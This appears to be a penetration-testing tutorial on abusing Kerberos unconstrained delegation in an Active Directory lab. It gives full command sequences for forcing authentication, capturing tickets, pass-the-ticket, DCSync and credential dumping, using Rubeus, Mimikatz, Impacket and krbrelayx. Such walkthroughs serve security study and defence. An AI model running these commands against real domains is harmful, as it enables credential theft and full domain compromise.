Microsoft to support scenarios where users authenticate via Kerberos to one system and information needs to be updated on another system implemented unconstrained delegation. This was implemented in windows ecosystems since Windows 2000. Systems which are configured for unconstrained delegation will have the TGT (Ticket Granting Ticket) stored into LSASS memory for the purpose of enabling the user to access the end resource.
More specifically, the domain controller places a copy of the user’s TGT into the service ticket. When the user’s service ticket (TGS) is provided to the server for service access the server opens the TGS and places the user’s TGT into the LSASS for later use allowing the server to impersonate the user. Obtaining the ticket could lead to domain escalation as the ticket might belong to the machine account of the domain controller or a high privilege account like the domain administrator. For a computer to authenticate on behalf of other services (unconstrained delegation) two conditions are required:
- Account has the TRUSTED_FOR_DELEGATION flag in the User Account Control (UAC) flags.
- User account has not the NOT_DELEGATED flag set which by default non domain accounts have this flag.
The following image represents a host in the Active Directory which is configured for unconstrained delegation:
Discovery
Identification of systems which are configured for unconstrained delegation is trivial from a PowerShell console. Executing the module “Get-ADComputer” and filtering the results to display the output of the property “trustedfordelegation” will determine whether the host which operations are performed is configured for unconstrained delegation.
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
Other interesting properties that can be enumerated are the:
- TrustedToAuthForDelegation
- msDS-AllowedToDelegateTo
- PrincipalsAllowedToDelegateToAccount
Get-ADComputer "Hive" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
Using the same module querying the “userAccountControl” attribute can provide the same results.
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Alternatively, the “Get-NetComputer” module from PowerView can be used to discover hosts which are configured for unconstrained delegation.
Get-NetComputer -Unconstrained
Coerce Authentication
There are multiple protocols which can coerce the machine account of the domain controller to authenticate with other hosts on the system such as spoolsample and encrypting file services remote procedure call. However, capturing the ticket of the machine account requires Rubeus to run in monitor state mode.
Rubeus.exe monitor /monitorinterval:10 /targetuser:DC$ /nowrap
Execution of the printer bug will coerce the domain controller to authenticate with the workstation which is configured for unconstrained delegation.
SpoolSample.exe dc hive
The ticket granting ticket (TGT) of the domain controller machine account will received and captured by Rubeus.
The ticket will be in base64 format and therefore cannot be used directly. However, from a PowerShell console execution of the command below will convert the ticket and write the contents to a file with the .kirbi extension.
[IO.File]::WriteAllBytes("C:\Users\pentestlab.PURPLE\Desktop\DC.kirbi", [Convert]::FromBase64String("Base64"))
Using the Pass the Ticket within Mimikatz the current user account will get high privilege rights on the domain controller. This can be verified by using the DCSync technique in order to dump the NTLM hash of the domain admin account and get command execution via pass the hash on the domain controller.
kerberos::ptt DC.kirbi
lsadump::dcsync /domain:purple.lab /user:Administrator
HTTP Authentication
it is not uncommon for administrators on the domain to use PowerShell scripts in order to perform remote tasks on hosts or construct HTTP requests which can be executed periodically in a server for business reasons. In the event that these scripts are executed under the context of elevated credentials Kerberos tickets can also generated and extracted from the LSASS process for domain escalation.
Invoke-WebRequest http://ca.purple.lab -UseDefaultCredentials -UseBasicParsing
The ticket of the administrator account will be cached into the memory of the LSASS process. Mimikatz can interact with this process and has a specific module which will attempt to retrieve cached tickets.
privilege::debug
sekurlsa::tickets
Tickets can be exported locally by executing the command below directly from Mimikatz.
sekurlsa::tickets /export
The triage action of Rubeus will display in a table the available Kerberos tickets which are stored in memory and their associated service.
Rubeus triage
Since a ticket which belongs to the domain administrator exists in cache, executing the command below will dump all the tickets for that user.
Rubeus.exe dump /user:Administrator
The ticket of the domain administrator can be used on the current system or transferred to another host in order to be used with Mimikatz or Rubeus that support importing Kerberos tickets into memory.
kerberos::ptt C:\Users\pentestlab.PURPLE\[email protected]
Executing “klist” will validate that the ticket was cached in memory of the current session.
klist
Using the ticket access to the domain controller has been achieved and can be confirmed by listing the contents of the C: drive.
dir \\dc.purple.lab\C$
Non-Domain Joined
As with the majority of the techniques which include Kerberos abuse, unconstrained delegation can be conducted from a non domain joined systems as supporting tooling to replicate the steps performed above exists. Impacket has a python script which can be used to identify systems on the domain which are configured for delegation if valid domain credentials are supplied.
python3 findDelegation.py purple.lab/pentestlab:Password1234
Once administrative access has been achieved Impacket module “secretsdump” can be used to retrieve the NTLM hash of the machine account which its host is configured for unconstrained delegation.
secretsdump.py [email protected]
The krbrelayx is a set of python tools which was developed by Dirk-Jan Mollema and can be utilized to abuse unconstrained delegation effectively from Linux based systems. Using the NTLM hash of the machine account (HIVE$) to authenticate with the active directory with the “addspn” python script to bind to the domain controller and retrieve information about the modification target.
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab -q dc.purple.lab
Using the same command with the “–additional” flag the service principal name of the machine account will modified via the “msDS-AdditionalDnsHostName” attribute to include the “HOST/kali.purple.lab” service principal name.
python3 addspn.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -s HOST/kali.purple.lab dc.purple.lab --additional
Coercing the machine account of the domain controller to authenticate with the host require the DNS name and not the IP address. Since the attack will executed from a non domain joined host the DNS server will not have any DNS record. However, utilizing the “dnstool” will add a DNS record on the domain controller for the host by executing the command below:
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali.purple.lab -d 10.0.0.3 --action add dc.purple.lab
Similarly the DNS record can be added on the domain controller by creating an A record to resolve 10.0.0.3 (Kali IP address) to “kali2.purple.lab“.
python3 dnstool.py -u purple\\Hive\$ -p aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 -r kali2.purple.lab -a add -t A -d 10.0.0.3 10.0.0.1
Executing “nslookup” will validate the DNS entry and that the host now resolves to “kali1.purple.lab“.
nslookup kali1.purple.lab 10.0.0.1
The “krbrelayx” can take the AES key of the machine account that was dumped earlier in order to be used for Kerberos authentication. Two listeners will be created by default SMB and HTTP.
sudo python3 krbrelayx.py -aesKey b4dc28d2ec920d4f87bc1d610f2b6e8e1114aec5135797482020893b3aad03c6
The next step is to coerce the machine account of the domain controller to authenticate with the host which the listeners are running. The printer bug (SpoolSample) or PetitPotam can be used using the NTLM hash of the machine account which is configured for unconstrained delegation and the host name which the listeners are running.
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:27b6e0dd98a862dc13456ca1c0f7d128 purple.lab/Hive\[email protected] kali.purple.lab
Once the authentication is triggered the ticket of the domain controller machine account will retrieved and saved in the cache of the host. This is because the authentication of the domain controller to the arbitrary host will performed using Kerberos authentication. Since the ticket belongs to an elevated account of the domain controller domain escalation has been achieved and domain hashes could be retrieved via the DCSync technique.